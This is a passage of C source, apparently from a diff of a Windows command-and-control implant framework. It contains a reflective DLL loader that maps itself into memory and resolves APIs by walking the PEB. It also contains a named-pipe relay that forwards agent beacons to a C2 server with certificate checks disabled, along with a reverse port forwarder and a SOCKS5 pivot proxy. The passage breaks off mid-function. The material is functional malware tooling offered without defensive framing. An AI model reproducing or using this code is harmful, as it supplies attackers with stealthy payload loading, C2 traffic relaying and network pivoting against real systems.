LIST_ENTRY InMemoryOrderModuleList;
} MY_PEB_LDR;
typedef struct _MY_PEB {
BYTE Reserved[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
MY_PEB_LDR *Ldr;
} MY_PEB;
typedef HMODULE (WINAPI *pLoadLibraryA_t)(LPCSTR);
typedef FARPROC (WINAPI *pGetProcAddress_t)(HMODULE, LPCSTR);
typedef LPVOID (WINAPI *pVirtualAlloc_t)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pFlushInstructionCache_t)(HANDLE, LPCVOID, SIZE_T);
typedef BOOL (WINAPI *pVirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *pGetCurrentProcess_t)(void);
typedef BOOL (WINAPI *pDllMain_t)(HINSTANCE, DWORD, LPVOID);
static int _eqstr(const char *a, const char *b)
{
while (*a && *b && (*a | 0x20) == (*b | 0x20)) { a++; b++; }
return (*a == '\0' && *b == '\0');
}
static int _weq12(const WCHAR *w, const char *s)
{
for (int i = 0; i < 12; i++) {
if (!w[i] && !s[i]) return 1;
if (!w[i] || !s[i]) return 0;
if ((w[i] | 0x20) != (s[i] | 0x20)) return 0;
}
return 1;
}
/* find kernel32 base via PEB walk */
static ULONG_PTR _find_kernel32(void)
{
#ifdef _WIN64
MY_PEB *peb = (MY_PEB *)__readgsqword(0x60);
#else
MY_PEB *peb = (MY_PEB *)__readfsdword(0x30);
#endif
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY cur = head->Flink;
while (cur != head) {
MY_LDR_ENTRY *e = CONTAINING_RECORD(cur, MY_LDR_ENTRY, InMemoryOrderLinks);
if (e->BaseDllName.Length >= 24 &&
_weq12(e->BaseDllName.Buffer, "kernel32.dll"))
return (ULONG_PTR)e->DllBase;
cur = cur->Flink;
}
return 0;
}
/* find export by name via EAT walk */
static ULONG_PTR _get_proc(ULONG_PTR mod, const char *name)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp;
DWORD rva = nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress;
if (!rva) return 0;
exp = (PIMAGE_EXPORT_DIRECTORY)(mod + rva);
DWORD *names = (DWORD *)(mod + exp->AddressOfNames);
WORD *ords = (WORD *)(mod + exp->AddressOfNameOrdinals);
DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (_eqstr((char *)(mod + names[i]), name))
return mod + funcs[ords[i]];
}
return 0;
}
/* find own PE base by scanning backwards from current IP */
static ULONG_PTR _find_own_base(void)
{
ULONG_PTR ip = (ULONG_PTR)_find_own_base & ~0xFFFUL;
for (int i = 0; i < 4096; i++, ip -= 0x1000) {
if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip;
if ((ULONG_PTR)dos->e_lfanew > 0x400) continue;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew);
if (nt->Signature == IMAGE_NT_SIGNATURE &&
nt->OptionalHeader.SizeOfImage > 0)
return ip;
}
return 0;
}
/* reflective loader entry point */
__declspec(dllexport)
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
{
(void)lpParameter;
/* 1. bootstrap: resolve needed kernel32 functions */
ULONG_PTR k32 = _find_kernel32();
if (!k32) return 0;
pLoadLibraryA_t fLoadLibraryA = (pLoadLibraryA_t )_get_proc(k32, "LoadLibraryA");
pGetProcAddress_t fGetProcAddress = (pGetProcAddress_t )_get_proc(k32, "GetProcAddress");
pVirtualAlloc_t fVirtualAlloc = (pVirtualAlloc_t )_get_proc(k32, "VirtualAlloc");
pFlushInstructionCache_t fFlushIC = (pFlushInstructionCache_t)_get_proc(k32, "FlushInstructionCache");
pGetCurrentProcess_t fGetCurrentProc = (pGetCurrentProcess_t )_get_proc(k32, "GetCurrentProcess");
if (!fLoadLibraryA || !fGetProcAddress || !fVirtualAlloc) return 0;
/* 2. find own raw PE base */
ULONG_PTR src = _find_own_base();
if (!src) return 0;
PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src;
PIMAGE_NT_HEADERS srcNt = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew);
DWORD imgSz = srcNt->OptionalHeader.SizeOfImage;
DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders;
/* 3. allocate target image, try preferred base first */
ULONG_PTR dst = (ULONG_PTR)fVirtualAlloc(
(LPVOID)srcNt->OptionalHeader.ImageBase,
imgSz, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!dst)
dst = (ULONG_PTR)fVirtualAlloc(
NULL, imgSz, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!dst) return 0;
/* 4. copy PE headers */
{
uint8_t *s = (uint8_t *)src;
uint8_t *d = (uint8_t *)dst;
for (DWORD i = 0; i < hdrSz; i++) d[i] = s[i];
}
/* 5. copy sections */
{
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(srcNt);
for (WORD i = 0; i < srcNt->FileHeader.NumberOfSections; i++, sec++) {
uint8_t *secSrc = (uint8_t *)(src + sec->VirtualAddress);
uint8_t *secDst = (uint8_t *)(dst + sec->VirtualAddress);
DWORD sz = sec->SizeOfRawData ? sec->SizeOfRawData : sec->Misc.VirtualSize;
for (DWORD j = 0; j < sz; j++) secDst[j] = secSrc[j];
}
}
/* 6. apply base relocations */
PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew);
LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase);
{
DWORD rva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD sz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (delta && rva && sz) {
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + rva);
while (reloc->VirtualAddress && reloc->SizeOfBlock) {
ULONG_PTR page = dst + reloc->VirtualAddress;
WORD *entry = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD cnt = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD i = 0; i < cnt; i++) {
int type = entry[i] >> 12;
DWORD off = entry[i] & 0x0FFF;
#ifdef _WIN64
if (type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(page + off) += (ULONG_PTR)delta;
#endif
if (type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(page + off) += (DWORD)delta;
}
reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock);
}
}
}
/* 7. resolve imports */
{
DWORD rva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (rva) {
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + rva);
for (; imp->Name; imp++) {
char *dllName = (char *)(dst + imp->Name);
HMODULE hLib = fLoadLibraryA(dllName);
if (!hLib) continue;
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk
? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk)
: iat;
for (; ont->u1.AddressOfData; ont++, iat++) {
FARPROC proc;
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
proc = fGetProcAddress(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
else {
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData);
proc = fGetProcAddress(hLib, (LPCSTR)ibn->Name);
}
iat->u1.Function = (ULONG_PTR)proc;
}
}
}
}
/* 8. flush instruction cache */
if (fFlushIC && fGetCurrentProc)
fFlushIC(fGetCurrentProc(), (LPVOID)dst, imgSz);
/* 9. Call DllMain */
pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint);
fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
return dst;
}
#endif /* _REFLECTIVE_DLL */
+299
View File
@@ -0,0 +1,299 @@
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define RELAY_BUF 262144 /* 256 KB max payload */
#define PIPE_INSTANCES 1 /* one agent at a time; increase for concurrent */
#define C2_TIMEOUT_MS 30000
static int g_verbose = 0;
#define LOG(fmt, ...) \
do \
{ \
if (g_verbose) \
fprintf(stdout, "[relay] " fmt "\n", ##__VA_ARGS__); \
} while (0)
#define ERR(fmt, ...) fprintf(stderr, "[relay] ERROR " fmt "\n", ##__VA_ARGS__)
/* pipe I/O helpers */
static BOOL pipe_read_exact(HANDLE h, void *buf, DWORD len)
{
DWORD done = 0;
while (done < len)
{
DWORD nr = 0;
if (!ReadFile(h, (char *)buf + done, len - done, &nr, NULL) || nr == 0)
return FALSE;
done += nr;
}
return TRUE;
}
static BOOL pipe_write_exact(HANDLE h, const void *buf, DWORD len)
{
DWORD done = 0;
while (done < len)
{
DWORD nw = 0;
if (!WriteFile(h, (const char *)buf + done, len - done, &nw, NULL) || nw == 0)
return FALSE;
done += nw;
}
return TRUE;
}
/* wide-string helper */
static wchar_t *to_wide(const char *s)
{
int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
if (n <= 0)
return NULL;
wchar_t *w = (wchar_t *)malloc((size_t)n * sizeof(wchar_t));
if (w)
MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
return w;
}
/* ---- WinHTTP POST → C2 ---- */
static char *c2_post(const char *url, const char *body_json)
{
wchar_t *url_w = to_wide(url);
if (!url_w)
return NULL;
wchar_t host[512] = {0};
wchar_t path[1024] = {0};
URL_COMPONENTS uc = {0};
uc.dwStructSize = sizeof(uc);
uc.lpszHostName = host;
uc.dwHostNameLength = 512;
uc.lpszUrlPath = path;
uc.dwUrlPathLength = 1024;
if (!WinHttpCrackUrl(url_w, 0, 0, &uc))
{
free(url_w);
return NULL;
}
free(url_w);
BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
HINTERNET hSess = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSess)
return NULL;
HINTERNET hConn = WinHttpConnect(hSess, host, port, 0);
if (!hConn)
{
WinHttpCloseHandle(hSess);
return NULL;
}
DWORD flags = secure ? WINHTTP_FLAG_SECURE : 0;
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST",
path[0] ? path : L"/",
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, flags);
if (!hReq)
{
WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
return NULL;
}
WinHttpAddRequestHeaders(hReq,
L"Content-Type: application/json\r\nAccept: application/json",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
/* skip cert validation for self-signed C2 certs */
if (secure)
{
DWORD opt = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &opt, sizeof(opt));
}
WinHttpSetTimeouts(hReq, C2_TIMEOUT_MS, C2_TIMEOUT_MS,
C2_TIMEOUT_MS, C2_TIMEOUT_MS);
DWORD body_len = (DWORD)strlen(body_json);
BOOL ok = WinHttpSendRequest(hReq,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
(LPVOID)body_json, body_len, body_len, 0);
if (!ok || !WinHttpReceiveResponse(hReq, NULL))
{
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
return NULL;
}
/* read response */
char *resp = NULL;
size_t resp_len = 0;
DWORD avail = 0;
while (WinHttpQueryDataAvailable(hReq, &avail) && avail > 0)
{
char *tmp = (char *)realloc(resp, resp_len + avail + 1);
if (!tmp)
break;
resp = tmp;
DWORD nr = 0;
WinHttpReadData(hReq, resp + resp_len, avail, &nr);
resp_len += nr;
resp[resp_len] = '\0';
}
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConn);
WinHttpCloseHandle(hSess);
return resp;
}
/* relay loop: read from pipe, forward to C2, write response back */
static void relay_loop(HANDLE hPipe, const char *c2_url)
{
char *in_buf = (char *)malloc(RELAY_BUF);
char *out_buf = (char *)malloc(RELAY_BUF);
if (!in_buf || !out_buf)
{
ERR("malloc failed");
free(in_buf);
free(out_buf);
return;
}
for (;;)
{
LOG("waiting for agent connection...");
/* wait for agent to connect */
BOOL connected = ConnectNamedPipe(hPipe, NULL)
? TRUE
: (GetLastError() == ERROR_PIPE_CONNECTED);
if (!connected)
{
ERR("ConnectNamedPipe failed (%lu)", GetLastError());
break;
}
LOG("agent connected");
/* read beacon: 4-byte LE length + payload */
uint32_t in_len = 0;
if (!pipe_read_exact(hPipe, &in_len, 4) || in_len == 0 || in_len >= RELAY_BUF)
{
ERR("bad beacon length %u", in_len);
goto next;
}
if (!pipe_read_exact(hPipe, in_buf, in_len))
{
ERR("pipe read beacon failed");
goto next;
}
in_buf[in_len] = '\0';
LOG("beacon recv %u bytes", in_len);
/* forward to C2 */
char *resp = c2_post(c2_url, in_buf);
if (!resp)
{
ERR("c2_post failed — sending empty task");
resp = strdup("{\"p\":\"\"}");
if (!resp)
goto next;
}
LOG("c2 response: %.80s", resp);
/* write task back: 4-byte LE length + C2 response */
uint32_t out_len = (uint32_t)strlen(resp);
BOOL ok = pipe_write_exact(hPipe, &out_len, 4) &&
pipe_write_exact(hPipe, resp, out_len);
free(resp);
if (!ok)
ERR("pipe write task failed");
else
LOG("task sent %u bytes", out_len);
next:
FlushFileBuffers(hPipe);
DisconnectNamedPipe(hPipe);
LOG("disconnected, looping");
}
free(in_buf);
free(out_buf);
}
/* entry point */
int main(int argc, char **argv)
{
const char *pipe_name = NULL;
const char *c2_url = NULL;
for (int i = 1; i < argc; i++)
{
if (strcmp(argv[i], "--pipe") == 0 && i + 1 < argc)
pipe_name = argv[++i];
else if (strcmp(argv[i], "--c2") == 0 && i + 1 < argc)
c2_url = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0)
g_verbose = 1;
}
if (!pipe_name || !c2_url)
{
fprintf(stderr, "usage: smb_relay.exe --pipe <name> --c2 <beacon_url> [--verbose]\n");
return 1;
}
char full_pipe[512];
snprintf(full_pipe, sizeof(full_pipe), "\\\\.\\pipe\\%s", pipe_name);
wchar_t full_pipe_w[512];
MultiByteToWideChar(CP_UTF8, 0, full_pipe, -1, full_pipe_w, 512);
LOG("creating pipe %s", full_pipe);
LOG("c2 url: %s", c2_url);
HANDLE hPipe = CreateNamedPipeW(
full_pipe_w,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
PIPE_INSTANCES,
RELAY_BUF, RELAY_BUF,
0, /* default timeout */
NULL /* default security */
);
if (hPipe == INVALID_HANDLE_VALUE)
{
ERR("CreateNamedPipe failed (%lu)", GetLastError());
return 1;
}
LOG("pipe created, entering relay loop");
relay_loop(hPipe, c2_url);
CloseHandle(hPipe);
return 0;
}
+300
View File
@@ -0,0 +1,300 @@
#include "socks.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define RPORTFWD_BUF 65536
#define RPORTFWD_MAX 16
typedef struct
{
unsigned short lport;
char rhost[256];
unsigned short rport;
SOCKET lsock;
HANDLE thread;
volatile LONG running;
} fwd_entry_t;
static fwd_entry_t g_fwds[RPORTFWD_MAX];
static CRITICAL_SECTION g_lock;
static LONG g_init = 0;
static void _init(void)
{
if (InterlockedCompareExchange(&g_init, 1, 0) == 0)
{
InitializeCriticalSection(&g_lock);
for (int i = 0; i < RPORTFWD_MAX; i++)
{
memset(&g_fwds[i], 0, sizeof(g_fwds[i]));
g_fwds[i].lsock = INVALID_SOCKET;
}
}
}
/* per-connection relay context */
typedef struct
{
SOCKET client;
char rhost[256];
unsigned short rport;
} relay_arg_t;
static DWORD WINAPI _relay_thread(LPVOID arg)
{
relay_arg_t *ra = (relay_arg_t *)arg;
SOCKET cli = ra->client;
char portstr[8];
snprintf(portstr, sizeof(portstr), "%u", ra->rport);
struct addrinfo hints, *res = NULL;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
SOCKET rem = INVALID_SOCKET;
if (getaddrinfo(ra->rhost, portstr, &hints, &res) == 0 && res)
{
rem = socket(res->ai_family, SOCK_STREAM, IPPROTO_TCP);
if (rem != INVALID_SOCKET)
{
if (connect(rem, res->ai_addr, (int)res->ai_addrlen) != 0)
{
closesocket(rem);
rem = INVALID_SOCKET;
}
}
freeaddrinfo(res);
}
if (rem == INVALID_SOCKET)
{
closesocket(cli);
free(ra);
return 0;
}
char *buf = (char *)malloc(RPORTFWD_BUF);
if (buf)
{
for (;;)
{
fd_set rd;
FD_ZERO(&rd);
FD_SET(cli, &rd);
FD_SET(rem, &rd);
SOCKET mx = (cli > rem ? cli : rem) + 1;
struct timeval tv = {30, 0};
if (select((int)mx, &rd, NULL, NULL, &tv) <= 0)
break;
if (FD_ISSET(cli, &rd))
{
int n = recv(cli, buf, RPORTFWD_BUF, 0);
if (n <= 0 || send(rem, buf, n, 0) <= 0)
break;
}
if (FD_ISSET(rem, &rd))
{
int n = recv(rem, buf, RPORTFWD_BUF, 0);
if (n <= 0 || send(cli, buf, n, 0) <= 0)
break;
}
}
free(buf);
}
closesocket(rem);
closesocket(cli);
free(ra);
return 0;
}
static DWORD WINAPI _listener_thread(LPVOID arg)
{
fwd_entry_t *e = (fwd_entry_t *)arg;
while (e->running && e->lsock != INVALID_SOCKET)
{
struct sockaddr_in peer;
int plen = sizeof(peer);
SOCKET cli = accept(e->lsock, (struct sockaddr *)&peer, &plen);
if (cli == INVALID_SOCKET)
break;
relay_arg_t *ra = (relay_arg_t *)malloc(sizeof(relay_arg_t));
if (!ra)
{
closesocket(cli);
continue;
}
ra->client = cli;
strncpy(ra->rhost, e->rhost, 255);
ra->rhost[255] = '\0';
ra->rport = e->rport;
HANDLE ht = CreateThread(NULL, 0, _relay_thread, ra, 0, NULL);
if (!ht)
{
closesocket(cli);
free(ra);
continue;
}
CloseHandle(ht);
}
InterlockedExchange(&e->running, 0);
return 0;
}
/* public API */
int rportfwd_start(unsigned short lport, const char *rhost, unsigned short rport,
char *out, size_t outsz)
{
_init();
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
EnterCriticalSection(&g_lock);
for (int i = 0; i < RPORTFWD_MAX; i++)
{
if (g_fwds[i].running && g_fwds[i].lport == lport)
{
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] port %u already active\n", lport);
return -1;
}
}
int slot = -1;
for (int i = 0; i < RPORTFWD_MAX; i++)
{
if (!g_fwds[i].running)
{
slot = i;
break;
}
}
if (slot < 0)
{
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] max %d forwards reached\n", RPORTFWD_MAX);
return -1;
}
fwd_entry_t *e = &g_fwds[slot];
e->lport = lport;
strncpy(e->rhost, rhost, 255);
e->rhost[255] = '\0';
e->rport = rport;
e->lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (e->lsock == INVALID_SOCKET)
{
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] socket() failed: %d\n", WSAGetLastError());
return -1;
}
int opt = 1;
setsockopt(e->lsock, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt));
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(lport);
if (bind(e->lsock, (struct sockaddr *)&sa, sizeof(sa)) != 0 ||
listen(e->lsock, SOMAXCONN) != 0)
{
closesocket(e->lsock);
e->lsock = INVALID_SOCKET;
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] bind/listen %u failed: %d\n",
lport, WSAGetLastError());
return -1;
}
InterlockedExchange(&e->running, 1);
e->thread = CreateThread(NULL, 0, _listener_thread, e, 0, NULL);
if (!e->thread)
{
closesocket(e->lsock);
e->lsock = INVALID_SOCKET;
InterlockedExchange(&e->running, 0);
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] CreateThread failed\n");
return -1;
}
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] 0.0.0.0:%u → %s:%u\n", lport, rhost, rport);
return 0;
}
int rportfwd_stop(unsigned short lport, char *out, size_t outsz)
{
_init();
EnterCriticalSection(&g_lock);
for (int i = 0; i < RPORTFWD_MAX; i++)
{
fwd_entry_t *e = &g_fwds[i];
if (e->running && e->lport == lport)
{
InterlockedExchange(&e->running, 0);
if (e->lsock != INVALID_SOCKET)
{
closesocket(e->lsock);
e->lsock = INVALID_SOCKET;
}
if (e->thread)
{
WaitForSingleObject(e->thread, 2000);
CloseHandle(e->thread);
e->thread = NULL;
}
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] stopped port %u\n", lport);
return 0;
}
}
LeaveCriticalSection(&g_lock);
snprintf(out, outsz, "[rportfwd] port %u not found\n", lport);
return -1;
}
int rportfwd_list(char *out, size_t outsz)
{
_init();
EnterCriticalSection(&g_lock);
size_t pos = 0;
int found = 0;
for (int i = 0; i < RPORTFWD_MAX; i++)
{
fwd_entry_t *e = &g_fwds[i];
if (!e->running)
continue;
int n = snprintf(out + pos, outsz - pos,
"[rportfwd] 0.0.0.0:%u → %s:%u\n",
e->lport, e->rhost, e->rport);
if (n > 0)
pos += (size_t)n;
found++;
}
if (!found)
snprintf(out, outsz, "[rportfwd] no active forwards\n");
LeaveCriticalSection(&g_lock);
return 0;
}
+266
View File
@@ -0,0 +1,266 @@
#include "socks.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
#define SOCKS_BUF 65536
#define SOCKS_AUTH_NONE 0x00
#define SOCKS_CMD_CONNECT 0x01
#define SOCKS_ATYP_IPV4 0x01
#define SOCKS_ATYP_FQDN 0x03
#define SOCKS_ATYP_IPV6 0x04
static SOCKET g_listen = INVALID_SOCKET;
static HANDLE g_thread = NULL;
static volatile LONG g_running = 0;
/* per-client relay context */
typedef struct { SOCKET client; SOCKET remote; } relay_t;
static int _recv_all(SOCKET s, char *buf, int n)
{
int got = 0;
while (got < n) {
int r = recv(s, buf + got, n - got, 0);
if (r <= 0) return -1;
got += r;
}
return got;
}
static void _relay(SOCKET c, SOCKET r)
{
char *buf = (char *)malloc(SOCKS_BUF);
if (!buf) return;
while (1) {
fd_set rd;
FD_ZERO(&rd);
FD_SET(c, &rd);
FD_SET(r, &rd);
SOCKET maxfd = (c > r ? c : r) + 1;
struct timeval tv = {30, 0};
int rc = select((int)maxfd, &rd, NULL, NULL, &tv);
if (rc <= 0) break;
if (FD_ISSET(c, &rd)) {
int n = recv(c, buf, SOCKS_BUF, 0);
if (n <= 0) break;
if (send(r, buf, n, 0) <= 0) break;
}
if (FD_ISSET(r, &rd)) {
int n = recv(r, buf, SOCKS_BUF, 0);
if (n <= 0) break;
if (send(c, buf, n, 0) <= 0) break;
}
}
free(buf);
}
/* client handler thread */
static DWORD WINAPI _client_thread(LPVOID arg)
{
relay_t *ctx = (relay_t *)arg;
SOCKET cli = ctx->client;
free(ctx);
char buf[512];
/* step 1: version + method negotiation */
if (_recv_all(cli, buf, 2) < 0) goto done;
if ((unsigned char)buf[0] != 5) goto done; /* not SOCKS5 */
int nmeth = (unsigned char)buf[1];
if (nmeth < 1 || nmeth > 255) goto done;
if (_recv_all(cli, buf, nmeth) < 0) goto done;
/* Respond: SOCKS5, no-auth */
char reply2[2] = {5, SOCKS_AUTH_NONE};
send(cli, reply2, 2, 0);
/* step 2: parse SOCKS5 request */
if (_recv_all(cli, buf, 4) < 0) goto done;
/* buf[0]=5, buf[1]=cmd, buf[2]=0, buf[3]=atyp */
if ((unsigned char)buf[0] != 5) goto done;
if ((unsigned char)buf[1] != SOCKS_CMD_CONNECT) {
/* Command not supported */
char err[10] = {5,7,0,1, 0,0,0,0, 0,0};
send(cli, err, sizeof(err), 0);
goto done;
}
char host[256] = {0};
unsigned short port = 0;
unsigned char atyp = (unsigned char)buf[3];
if (atyp == SOCKS_ATYP_IPV4) {
unsigned char ipb[4];
if (_recv_all(cli, (char *)ipb, 4) < 0) goto done;
if (_recv_all(cli, (char *)&port, 2) < 0) goto done;
port = ntohs(port);
snprintf(host, sizeof(host), "%u.%u.%u.%u",
ipb[0], ipb[1], ipb[2], ipb[3]);
} else if (atyp == SOCKS_ATYP_FQDN) {
unsigned char len;
if (_recv_all(cli, (char *)&len, 1) < 0) goto done;
if (_recv_all(cli, host, len) < 0) goto done;
host[len] = '\0';
if (_recv_all(cli, (char *)&port, 2) < 0) goto done;
port = ntohs(port);
} else {
/* IPv6 not supported — send error */
char err[10] = {5,8,0,1, 0,0,0,0, 0,0};
send(cli, err, sizeof(err), 0);
goto done;
}
/* step 3: connect to target host */
struct addrinfo hints, *res = NULL;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
char portstr[8];
snprintf(portstr, sizeof(portstr), "%u", port);
if (getaddrinfo(host, portstr, &hints, &res) != 0 || !res) {
char err[10] = {5,4,0,1, 0,0,0,0, 0,0};
send(cli, err, sizeof(err), 0);
goto done;
}
SOCKET rem = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (rem == INVALID_SOCKET) {
freeaddrinfo(res);
char err[10] = {5,1,0,1, 0,0,0,0, 0,0};
send(cli, err, sizeof(err), 0);
goto done;
}
if (connect(rem, res->ai_addr, (int)res->ai_addrlen) != 0) {
freeaddrinfo(res);
closesocket(rem);
char err[10] = {5,5,0,1, 0,0,0,0, 0,0};
send(cli, err, sizeof(err), 0);
goto done;
}
freeaddrinfo(res);
/* Success reply: 5 0 0 1 0.0.0.0:0 */
char ok[10] = {5,0,0,1, 0,0,0,0, 0,0};
send(cli, ok, sizeof(ok), 0);
/* step 4: relay traffic */
_relay(cli, rem);
closesocket(rem);
done:
closesocket(cli);
return 0;
}
/* listener thread */
static DWORD WINAPI _listen_thread(LPVOID arg)
{
(void)arg;
while (g_running && g_listen != INVALID_SOCKET) {
struct sockaddr_in peer;
int plen = sizeof(peer);
SOCKET cli = accept(g_listen, (struct sockaddr *)&peer, &plen);
if (cli == INVALID_SOCKET) break;
relay_t *ctx = (relay_t *)malloc(sizeof(relay_t));
if (!ctx) { closesocket(cli); continue; }
ctx->client = cli;
ctx->remote = INVALID_SOCKET;
HANDLE ht = CreateThread(NULL, 0, _client_thread, ctx, 0, NULL);
if (!ht) { closesocket(cli); free(ctx); continue; }
CloseHandle(ht);
}
InterlockedExchange(&g_running, 0);
return 0;
}
/* public API */
int socks_start(unsigned short port, char *out, size_t outsz)
{
if (InterlockedCompareExchange(&g_running, 1, 0) != 0) {
snprintf(out, outsz, "[socks] already running\n");
return -1;
}
WSADATA wsa;
WSAStartup(MAKEWORD(2,2), &wsa);
g_listen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (g_listen == INVALID_SOCKET) {
InterlockedExchange(&g_running, 0);
snprintf(out, outsz, "[socks] socket() failed: %d\n", WSAGetLastError());
return -1;
}
int opt = 1;
setsockopt(g_listen, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt));
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
if (bind(g_listen, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
closesocket(g_listen); g_listen = INVALID_SOCKET;
InterlockedExchange(&g_running, 0);
snprintf(out, outsz, "[socks] bind %u failed: %d\n", port, WSAGetLastError());
return -1;
}
if (listen(g_listen, SOMAXCONN) != 0) {
closesocket(g_listen); g_listen = INVALID_SOCKET;
InterlockedExchange(&g_running, 0);
snprintf(out, outsz, "[socks] listen failed: %d\n", WSAGetLastError());
return -1;
}
g_thread = CreateThread(NULL, 0, _listen_thread, NULL, 0, NULL);
if (!g_thread) {
closesocket(g_listen); g_listen = INVALID_SOCKET;
InterlockedExchange(&g_running, 0);
snprintf(out, outsz, "[socks] thread failed\n");
return -1;
}
snprintf(out, outsz, "[socks] listener up on 0.0.0.0:%u\n", port);
return 0;
}
int socks_stop(char *out, size_t outsz)
{
if (!g_running) {
